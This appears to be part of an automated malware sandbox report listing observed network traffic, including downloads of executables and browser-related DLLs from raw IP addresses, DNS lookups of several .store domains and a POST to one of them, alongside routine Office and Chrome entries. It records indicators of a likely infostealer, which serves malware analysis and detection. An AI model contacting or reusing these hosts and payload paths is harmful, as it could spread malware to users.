Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /dl/15306544/pohtent.exe HTTP/1.1Host: tmpfiles.org
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Thu, 07 Nov 2024 04:53:51 GMTIf-None-Match: "672c47df-208c00"
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000C.00000003.2548321647.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549265388.000039D403160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549115434.000039D403188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000000C.00000003.2548321647.000039D4025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549265388.000039D403160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000C.00000003.2549115434.000039D403188000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000C.00000002.2660210976.000039D402914000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 0000000C.00000002.2656529617.000039D4024D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: tmpfiles.org
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: founpiuer.store
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: founpiuer.store

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 07 Nov 2024 05:01:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZj9PzzOYoML%2BRNoZ4AITnYqDnycYxgF3lxBloU%2Fh84w0sQbFXAJ%2Fzk2eMXn7fFL3LXy3WSykAnOaqyxpplfgXzYSBV0RqkeCgQDdf43mLC1dGDinsQXVxnclY2eKBIBfs4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8deac3af79c04740-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 07 Nov 2024 05:01:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fkDQfwQKDttDQi5C%2Bxun1G98qCbkjAa2A1oR7oI%2B9AMvTbTYqyXm2kK8sdCsljJVmm9uShanUZVp7hvHE11JuTrxpBQOO1rCTRBFn2xZRmuJPJdtoCL6H2iYjOZh2fvxKdw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8deac400ea0f2ca8-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 07 Nov 2024 05:01:52 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PARGTcCPC4tQTND3cRxgmpTSlLHDgDB9a8eWFit1WXAAbr8z%2BQdE63WUVtVQgZIGZiRaytzNv7pF36cjeiCy9PbREY93N2V44Uy0uvnJrxOuG9qLDmglLRLxcho7fcsSyMY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8deac4907a6addb3-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 07 Nov 2024 05:01:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nk7HMr6WaXEoOYrqicR3ZoNYgooUZ9ySf%2FWH3jhPVXkYJ42avCZ%2BnJBlRFSFXMu67C6S7aa%2F8eJiZpDbqOp6pZAu3nCSVCYL6YMdrwMjPctqU18KCoCGRRGFuoi64Z4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8deac37c1ad96bd4-DFWData Raw: 31 31 36 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 